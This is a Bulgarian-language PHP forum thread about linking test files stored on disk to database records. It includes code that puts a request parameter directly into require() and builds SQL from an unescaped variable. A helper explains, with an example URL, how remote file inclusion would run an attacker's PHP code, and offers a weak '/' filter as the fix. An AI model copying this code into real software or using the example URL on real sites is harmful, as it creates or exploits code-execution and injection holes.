линк към файл в базата

cracking

Registered
Боби мисля, че беше споменал , че самите ти уроци в сайта са в файлове а линковете към тях се записва в базата.Еми аз сега правя една система за тестове и искам вместо да са линкове тестовете да са примерно test.php?id=23 или test.php?his=23 но това последствие ще се реши.Трябва ми как да записва в базата , че като конектни да изкарва направо садържаниете на файла.
Примерно всички тестове са с име 1.php;2.php;3.php....
и аз от самия скрипт с който ги добавям казвам 1.php ще е тест за История , 2.php ще е за Химия и така нататък.И от базата примерно ще изкарва всички от История и като се щракне да бъде test.php?his=23 и да показва файла 1.php МОЛЯ ако има начин да стане дами помогнете.

П.С.
Мислех ЛС да ти пращам, но може и друг да има същия проблем и да го намери в форума :wink:
 
Ако ще е с файлове трябва да е нещо такова:
Имаш примерно 3 файла:
test1.php - test2.php -test3.php в тях са тестовете или нещо друго.

А в базата данни в записано следното:
id---------zaglavie------fail-----
1------- тест Н:1 -------- test1------
2------- тест Н:2 -------- test2------
3------- тест Н:13 --------test3------


Скрипт :

<table>
<?php
mysql_connect(localhost,$user,$password);
@mysql_select_db($database) or die( "Unable to select database");

$query="SELECT * from table where zaglavie like '%$search%'";
$result=mysql_query($query);
$num=mysql_numrows($result);
mysql_close();
$i=1;
while ($i < $num) {

$zag=mysql_result($result,$i,"zaglavie");
$fail=mysql_result($result,$i,"fail");

echo '
<tr><td >
<a href=view.php?st='.$fail.' target=_blank> '.$zaglavie.'</a>
</td>
</tr>';

$i++;
}
?>
</table>





Другия файл view.php ще изглежда така:


<?php
$st = $_GET["st"];
require("пътя до папката в която са файловете/$st.php");
?>


Първо го направи после ще ти обяснявам защо е опасно това и как да се защитиш.
Ако нещо има грешка кажи.
Писал съм го без да го тествам.
Там където има $search го остави така.В момента тази променлива няма стойност и ще изкара всички заглавия.
В последствие може да я ползваш.
Дай да видиме какво ще стане и дали ще проработи.
 
Аха стана.Е вместо $i=1; трябва да е $i=0; но това не е нищо сложно.
Стана.Е аз мога да ги търся по заглавие примерно.Да ги изкарвам.Много ще ми е удобно по този начин.
Я кажи кое е страшното при използване на този начин? При
Код:
<?php
$st = $_GET["st"];
require("$st.php");
?>
това нали?че позволява да файл и php.
Ами аз ще пробвам да ги вземам, но по id=23 ще видим дали ще стане. :wink:
 
В моя пример не е толкова опасно.
Код:
<?php 
$st = $_GET["st"]; 
require("пътя до папката в която са файловете/$st.php"); 
?>
Ти обаче ми даваш за пример следното:

Код:
<?php 
$st = $_GET["st"]; 
require("$st.php"); 
?>
Това дето си го дал за пример е опасно.
Проблема е, че линка придобива следния вид:
http://domein.com/view.php?st=test1

в случая require на файла test1.php.

Обаче ако някой напише линка така:
http://domein.com/view.php?st=http://web-tourist.net/ataka

ще се изпълни файла (ataka.php)който се намира на отдалечен сървър.
Този файл може да съдържа зловреден php код който ще се изпълни на твоя сървър. :?

Трябва да добавиш една проверка:


<?php
$st = $_GET["st"];
if (eregi('/',$st))
{exit;}

require("$st.php");
?>
 
Значи ако е
Код:
<?php
$st = $_GET["st"];
require("/test_file/$st.php");
?>
Няма да е опасно така ли?

Не може ли да стане примерно в базата кадето се записва името на файла да се записва само примерно 1,2,3,4,5... и към require("/test_file/$st.php"); да се пребави името на файла require("/test_file/$st тест.php"); само , че как ще стане? :roll:

и да е примерно view.php?st=123
 

Горе